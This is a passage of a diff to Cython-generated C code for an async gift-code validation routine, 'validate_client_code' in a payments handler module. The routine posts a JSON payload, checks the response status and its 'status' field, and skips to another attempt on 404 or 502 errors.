__Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 371, __pyx_L24_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_19 = __Pyx_PyObject_Call(__pyx_t_15, __pyx_t_11, NULL); - __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; - __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 356, __pyx_L29_except_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_json, __pyx_cur_scope->__pyx_v_payload) < 0) __PYX_ERR(0, 371, __pyx_L24_error) + __pyx_t_19 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_2, __pyx_t_11); if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 371, __pyx_L24_error) __Pyx_GOTREF(__pyx_t_19); - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_19); - __Pyx_DECREF(__pyx_t_19); __pyx_t_19 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_20 = __Pyx_PyObject_LookupSpecial(__pyx_t_19, __pyx_n_s_aexit); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 371, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_20); + __pyx_t_2 = __Pyx_PyObject_LookupSpecial(__pyx_t_19, __pyx_n_s_aenter); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 371, __pyx_L32_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_11 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 371, __pyx_L32_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_11); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_XGOTREF(__pyx_r); if (likely(__pyx_r)) { __Pyx_XGIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; - __Pyx_XGIVEREF(__pyx_t_2); - __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; - __Pyx_XGIVEREF(__pyx_t_3); - __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; __Pyx_XGIVEREF(__pyx_t_7); - __pyx_cur_scope->__pyx_t_3 = __pyx_t_7; + __pyx_cur_scope->__pyx_t_1 = __pyx_t_7; __Pyx_XGIVEREF(__pyx_t_8); - __pyx_cur_scope->__pyx_t_4 = __pyx_t_8; + __pyx_cur_scope->__pyx_t_2 = __pyx_t_8; __Pyx_XGIVEREF(__pyx_t_9); - __pyx_cur_scope->__pyx_t_5 = __pyx_t_9; + __pyx_cur_scope->__pyx_t_3 = __pyx_t_9; __Pyx_XGIVEREF(__pyx_t_10); - __pyx_cur_scope->__pyx_t_6 = __pyx_t_10; + __pyx_cur_scope->__pyx_t_4 = __pyx_t_10; __Pyx_XGIVEREF(__pyx_t_12); - __pyx_cur_scope->__pyx_t_7 = __pyx_t_12; + __pyx_cur_scope->__pyx_t_5 = __pyx_t_12; __Pyx_XGIVEREF(__pyx_t_13); - __pyx_cur_scope->__pyx_t_8 = __pyx_t_13; + __pyx_cur_scope->__pyx_t_6 = __pyx_t_13; __Pyx_XGIVEREF(__pyx_t_14); - __pyx_cur_scope->__pyx_t_9 = __pyx_t_14; - __Pyx_XGIVEREF(__pyx_t_15); - __pyx_cur_scope->__pyx_t_10 = __pyx_t_15; + __pyx_cur_scope->__pyx_t_7 = __pyx_t_14; + __pyx_cur_scope->__pyx_t_8 = __pyx_t_15; __Pyx_XGIVEREF(__pyx_t_16); - __pyx_cur_scope->__pyx_t_11 = __pyx_t_16; + __pyx_cur_scope->__pyx_t_9 = __pyx_t_16; __Pyx_XGIVEREF(__pyx_t_17); - __pyx_cur_scope->__pyx_t_12 = __pyx_t_17; + __pyx_cur_scope->__pyx_t_10 = __pyx_t_17; __Pyx_XGIVEREF(__pyx_t_18); - __pyx_cur_scope->__pyx_t_13 = __pyx_t_18; + __pyx_cur_scope->__pyx_t_11 = __pyx_t_18; __Pyx_XGIVEREF(__pyx_t_19); - __pyx_cur_scope->__pyx_t_14 = __pyx_t_19; + __pyx_cur_scope->__pyx_t_12 = __pyx_t_19; + __Pyx_XGIVEREF(__pyx_t_20); + __pyx_cur_scope->__pyx_t_13 = __pyx_t_20; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); - __Pyx_Coroutine_SwapException(__pyx_generator); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); /* return from generator, awaiting value */ - __pyx_generator->resume_label = 4; + __pyx_generator->resume_label = 2; return __pyx_r; - __pyx_L41_resume_from_await:; + __pyx_L33_resume_from_await:; __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; __pyx_cur_scope->__pyx_t_0 = 0; __Pyx_XGOTREF(__pyx_t_1); - __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_t_7 = __pyx_cur_scope->__pyx_t_1; __pyx_cur_scope->__pyx_t_1 = 0; - __Pyx_XGOTREF(__pyx_t_2); - __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; - __pyx_cur_scope->__pyx_t_2 = 0; - __Pyx_XGOTREF(__pyx_t_3); - __pyx_t_7 = __pyx_cur_scope->__pyx_t_3; - __pyx_cur_scope->__pyx_t_3 = 0; __Pyx_XGOTREF(__pyx_t_7); - __pyx_t_8 = __pyx_cur_scope->__pyx_t_4; - __pyx_cur_scope->__pyx_t_4 = 0; + __pyx_t_8 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_8); - __pyx_t_9 = __pyx_cur_scope->__pyx_t_5; - __pyx_cur_scope->__pyx_t_5 = 0; + __pyx_t_9 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; __Pyx_XGOTREF(__pyx_t_9); - __pyx_t_10 = __pyx_cur_scope->__pyx_t_6; - __pyx_cur_scope->__pyx_t_6 = 0; + __pyx_t_10 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; __Pyx_XGOTREF(__pyx_t_10); - __pyx_t_12 = __pyx_cur_scope->__pyx_t_7; - __pyx_cur_scope->__pyx_t_7 = 0; + __pyx_t_12 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; __Pyx_XGOTREF(__pyx_t_12); - __pyx_t_13 = __pyx_cur_scope->__pyx_t_8; - __pyx_cur_scope->__pyx_t_8 = 0; + __pyx_t_13 = __pyx_cur_scope->__pyx_t_6; + __pyx_cur_scope->__pyx_t_6 = 0; __Pyx_XGOTREF(__pyx_t_13); - __pyx_t_14 = __pyx_cur_scope->__pyx_t_9; - __pyx_cur_scope->__pyx_t_9 = 0; + __pyx_t_14 = __pyx_cur_scope->__pyx_t_7; + __pyx_cur_scope->__pyx_t_7 = 0; __Pyx_XGOTREF(__pyx_t_14); - __pyx_t_15 = __pyx_cur_scope->__pyx_t_10; - __pyx_cur_scope->__pyx_t_10 = 0; - __Pyx_XGOTREF(__pyx_t_15); - __pyx_t_16 = __pyx_cur_scope->__pyx_t_11; - __pyx_cur_scope->__pyx_t_11 = 0; + __pyx_t_15 = __pyx_cur_scope->__pyx_t_8; + __pyx_t_16 = __pyx_cur_scope->__pyx_t_9; + __pyx_cur_scope->__pyx_t_9 = 0; __Pyx_XGOTREF(__pyx_t_16); - __pyx_t_17 = __pyx_cur_scope->__pyx_t_12; - __pyx_cur_scope->__pyx_t_12 = 0; + __pyx_t_17 = __pyx_cur_scope->__pyx_t_10; + __pyx_cur_scope->__pyx_t_10 = 0; __Pyx_XGOTREF(__pyx_t_17); - __pyx_t_18 = __pyx_cur_scope->__pyx_t_13; - __pyx_cur_scope->__pyx_t_13 = 0; + __pyx_t_18 = __pyx_cur_scope->__pyx_t_11; + __pyx_cur_scope->__pyx_t_11 = 0; __Pyx_XGOTREF(__pyx_t_18); - __pyx_t_19 = __pyx_cur_scope->__pyx_t_14; - __pyx_cur_scope->__pyx_t_14 = 0; + __pyx_t_19 = __pyx_cur_scope->__pyx_t_12; + __pyx_cur_scope->__pyx_t_12 = 0; __Pyx_XGOTREF(__pyx_t_19); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 356, __pyx_L29_except_error) + __pyx_t_20 = __pyx_cur_scope->__pyx_t_13; + __pyx_cur_scope->__pyx_t_13 = 0; + __Pyx_XGOTREF(__pyx_t_20); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 371, __pyx_L32_error) __pyx_t_11 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_11); } else { __pyx_t_11 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_11) < 0) __PYX_ERR(0, 356, __pyx_L29_except_error) + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_11) < 0) __PYX_ERR(0, 371, __pyx_L32_error) __Pyx_GOTREF(__pyx_t_11); } - __pyx_t_19 = __pyx_t_11; + __pyx_t_2 = __pyx_t_11; __pyx_t_11 = 0; - __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_19); __Pyx_DECREF(__pyx_t_19); __pyx_t_19 = 0; - if (__pyx_t_5 < 0) __PYX_ERR(0, 356, __pyx_L29_except_error) - __pyx_t_6 = (!__pyx_t_5); - if (unlikely(__pyx_t_6)) { - __Pyx_GIVEREF(__pyx_t_1); - __Pyx_GIVEREF(__pyx_t_2); - __Pyx_XGIVEREF(__pyx_t_3); - __Pyx_ErrRestoreWithState(__pyx_t_1, __pyx_t_2, __pyx_t_3); - __pyx_t_1 = 0; __pyx_t_2 = 0; __pyx_t_3 = 0; - __PYX_ERR(0, 356, __pyx_L29_except_error) + /*try:*/ { + { + __Pyx_ExceptionSave(&__pyx_t_21, &__pyx_t_22, &__pyx_t_23); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_23); + /*try:*/ { + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_response); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_response, __pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + __pyx_t_2 = 0; + + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_response, __pyx_n_s_status); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 372, __pyx_L39_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_2, __pyx_int_200, 0xC8, 0)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 372, __pyx_L39_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (__pyx_t_6) { + + __pyx_cur_scope->__pyx_v_all_failed = 0; + + __pyx_t_19 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_response, __pyx_n_s_json); if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 374, __pyx_L39_error) + __Pyx_GOTREF(__pyx_t_19); + __pyx_t_11 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_19))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_19); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_19); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_19, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_19, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 374, __pyx_L39_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_19); __pyx_t_19 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_t_6 = __pyx_t_13; + __Pyx_XGIVEREF(__pyx_t_14); + __pyx_cur_scope->__pyx_t_7 = __pyx_t_14; + __pyx_cur_scope->__pyx_t_8 = __pyx_t_15; + __Pyx_XGIVEREF(__pyx_t_16); + __pyx_cur_scope->__pyx_t_9 = __pyx_t_16; + __Pyx_XGIVEREF(__pyx_t_17); + __pyx_cur_scope->__pyx_t_10 = __pyx_t_17; + __Pyx_XGIVEREF(__pyx_t_18); + __pyx_cur_scope->__pyx_t_11 = __pyx_t_18; + __Pyx_XGIVEREF(__pyx_t_20); + __pyx_cur_scope->__pyx_t_12 = __pyx_t_20; + __Pyx_XGIVEREF(__pyx_t_21); + __pyx_cur_scope->__pyx_t_13 = __pyx_t_21; + __Pyx_XGIVEREF(__pyx_t_22); + __pyx_cur_scope->__pyx_t_14 = __pyx_t_22; + __Pyx_XGIVEREF(__pyx_t_23); + __pyx_cur_scope->__pyx_t_15 = __pyx_t_23; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L48_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_12); + __pyx_t_13 = __pyx_cur_scope->__pyx_t_6; + __pyx_cur_scope->__pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_t_13); + __pyx_t_14 = __pyx_cur_scope->__pyx_t_7; + __pyx_cur_scope->__pyx_t_7 = 0; + __Pyx_XGOTREF(__pyx_t_14); + __pyx_t_15 = __pyx_cur_scope->__pyx_t_8; + __pyx_t_16 = __pyx_cur_scope->__pyx_t_9; + __pyx_cur_scope->__pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_t_16); + __pyx_t_17 = __pyx_cur_scope->__pyx_t_10; + __pyx_cur_scope->__pyx_t_10 = 0; + __Pyx_XGOTREF(__pyx_t_17); + __pyx_t_18 = __pyx_cur_scope->__pyx_t_11; + __pyx_cur_scope->__pyx_t_11 = 0; + __Pyx_XGOTREF(__pyx_t_18); + __pyx_t_20 = __pyx_cur_scope->__pyx_t_12; + __pyx_cur_scope->__pyx_t_12 = 0; + __Pyx_XGOTREF(__pyx_t_20); + __pyx_t_21 = __pyx_cur_scope->__pyx_t_13; + __pyx_cur_scope->__pyx_t_13 = 0; + __Pyx_XGOTREF(__pyx_t_21); + __pyx_t_22 = __pyx_cur_scope->__pyx_t_14; + __pyx_cur_scope->__pyx_t_14 = 0; + __Pyx_XGOTREF(__pyx_t_22); + __pyx_t_23 = __pyx_cur_scope->__pyx_t_15; + __pyx_cur_scope->__pyx_t_15 = 0; + __Pyx_XGOTREF(__pyx_t_23); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 374, __pyx_L39_error) + __pyx_t_2 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_2); + } else { + __pyx_t_2 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_2) < 0) __PYX_ERR(0, 374, __pyx_L39_error) + __Pyx_GOTREF(__pyx_t_2); + } + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_data); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_data, __pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + __pyx_t_2 = 0; + + __pyx_t_19 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 375, __pyx_L39_error) + __Pyx_GOTREF(__pyx_t_19); + __pyx_t_11 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_19))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_19); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_19); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_19, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_n_u_status}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_19, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 375, __pyx_L39_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_19); __pyx_t_19 = 0; + } + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_status); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_status, __pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + __pyx_t_2 = 0; + + __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_cur_scope->__pyx_v_status, __pyx_n_u_success, Py_EQ)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 376, __pyx_L39_error) + if (__pyx_t_6) { + + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(Py_True); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + goto __pyx_L43_try_return; + + } + + __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_cur_scope->__pyx_v_status, __pyx_n_u_error, Py_EQ)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 378, __pyx_L39_error) + if (__pyx_t_6) { + + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(Py_False); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + goto __pyx_L43_try_return; + + } + + goto __pyx_L47; + } + + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_response, __pyx_n_s_status); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 380, __pyx_L39_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_2, __pyx_int_502, 0x1F6, 0)); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 380, __pyx_L39_error) + if (!__pyx_t_5) { + } else { + __pyx_t_6 = __pyx_t_5; + goto __pyx_L50_bool_binop_done; + } + __pyx_t_5 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_2, __pyx_int_404, 0x194, 0)); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 380, __pyx_L39_error) + __pyx_t_6 = __pyx_t_5; + __pyx_L50_bool_binop_done:; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_5 = __pyx_t_6; + if (__pyx_t_5) { + + goto __pyx_L45_try_continue; + + } + + /*else*/ { + __pyx_cur_scope->__pyx_v_all_failed = 0; + } + __pyx_L47:; + + } + __Pyx_XDECREF(__pyx_t_21); __pyx_t_21 = 0; + __Pyx_XDECREF(__pyx_t_22); __pyx_t_22 = 0; + __Pyx_XDECREF(__pyx_t_23); __pyx_t_23 = 0; + goto __pyx_L46_try_end; + __pyx_L39_error:; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_19); __pyx_t_19 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + /*except:*/ { + __Pyx_AddTraceback("handlers.payments.gift.validate_client_code", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_2, &__pyx_t_19, &__pyx_t_11) < 0) __PYX_ERR(0, 371, __pyx_L41_except_error) + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_3 = PyTuple_Pack(3, __pyx_t_2, __pyx_t_19, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 371, __pyx_L41_except_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_24 = __Pyx_PyObject_Call(__pyx_t_20, __pyx_t_3, NULL); + __Pyx_DECREF(__pyx_t_20); __pyx_t_20 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_24)) __PYX_ERR(0, 371, __pyx_L41_except_error) + __Pyx_GOTREF(__pyx_t_24); + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_24); + __Pyx_DECREF(__pyx_t_24); __pyx_t_24 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_6 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_7 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_t_9 = __pyx_t_13; + __Pyx_XGIVEREF(__pyx_t_14); + __pyx_cur_scope->__pyx_t_10 = __pyx_t_14; + __pyx_cur_scope->__pyx_t_8 = __pyx_t_15; + __Pyx_XGIVEREF(__pyx_t_16); + __pyx_cur_scope->__pyx_t_11 = __pyx_t_16; + __Pyx_XGIVEREF(__pyx_t_17); + __pyx_cur_scope->__pyx_t_12 = __pyx_t_17; + __Pyx_XGIVEREF(__pyx_t_18); + __pyx_cur_scope->__pyx_t_13 = __pyx_t_18; + __Pyx_XGIVEREF(__pyx_t_19); + __pyx_cur_scope->__pyx_t_14 = __pyx_t_19; + __Pyx_XGIVEREF(__pyx_t_20); + __pyx_cur_scope->__pyx_t_15 = __pyx_t_20; + __Pyx_XGIVEREF(__pyx_t_21); + __pyx_cur_scope->__pyx_t_16 = __pyx_t_21; + __Pyx_XGIVEREF(__pyx_t_22); + __pyx_cur_scope->__pyx_t_17 = __pyx_t_22; + __Pyx_XGIVEREF(__pyx_t_23); + __pyx_cur_scope->__pyx_t_18 = __pyx_t_23; + __Pyx_XGIVEREF(__pyx_t_24); + __pyx_cur_scope->__pyx_t_19 = __pyx_t_24; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_SwapException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L55_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_6; + __pyx_cur_scope->__pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_7; + __pyx_cur_scope->__pyx_t_7 = 0; + __Pyx_XGOTREF(__pyx_t_12); + __pyx_t_13 = __pyx_cur_scope->__pyx_t_9; + __pyx_cur_scope->__pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_t_13); + __pyx_t_14 = __pyx_cur_scope->__pyx_t_10; + __pyx_cur_scope->__pyx_t_10 = 0; + __Pyx_XGOTREF(__pyx_t_14); + __pyx_t_15 = __pyx_cur_scope->__pyx_t_8; + __pyx_t_16 = __pyx_cur_scope->__pyx_t_11; + __pyx_cur_scope->__pyx_t_11 = 0; + __Pyx_XGOTREF(__pyx_t_16); + __pyx_t_17 = __pyx_cur_scope->__pyx_t_12; + __pyx_cur_scope->__pyx_t_12 = 0; + __Pyx_XGOTREF(__pyx_t_17); + __pyx_t_18 = __pyx_cur_scope->__pyx_t_13; + __pyx_cur_scope->__pyx_t_13 = 0; + __Pyx_XGOTREF(__pyx_t_18); + __pyx_t_19 = __pyx_cur_scope->__pyx_t_14; + __pyx_cur_scope->__pyx_t_14 = 0; + __Pyx_XGOTREF(__pyx_t_19); + __pyx_t_20 = __pyx_cur_scope->__pyx_t_15; + __pyx_cur_scope->__pyx_t_15 = 0; + __Pyx_XGOTREF(__pyx_t_20); + __pyx_t_21 = __pyx_cur_scope->__pyx_t_16; + __pyx_cur_scope->__pyx_t_16 = 0; + __Pyx_XGOTREF(__pyx_t_21); + __pyx_t_22 = __pyx_cur_scope->__pyx_t_17; + __pyx_cur_scope->__pyx_t_17 = 0; + __Pyx_XGOTREF(__pyx_t_22); + __pyx_t_23 = __pyx_cur_scope->__pyx_t_18; + __pyx_cur_scope->__pyx_t_18 = 0; + __Pyx_XGOTREF(__pyx_t_23); + __pyx_t_24 = __pyx_cur_scope->__pyx_t_19; + __pyx_cur_scope->__pyx_t_19 = 0; + __Pyx_XGOTREF(__pyx_t_24); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 371, __pyx_L41_except_error) + __pyx_t_3 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_3); + } else { + __pyx_t_3 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_3) < 0) __PYX_ERR(0, 371, __pyx_L41_except_error) + __Pyx_GOTREF(__pyx_t_3); + } + __pyx_t_24 = __pyx_t_3; + __pyx_t_3 = 0; + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_24); + __Pyx_DECREF(__pyx_t_24); __pyx_t_24 = 0; + if (__pyx_t_5 < 0) __PYX_ERR(0, 371, __pyx_L41_except_error) + __pyx_t_6 = (!__pyx_t_5); + if (unlikely(__pyx_t_6)) { + 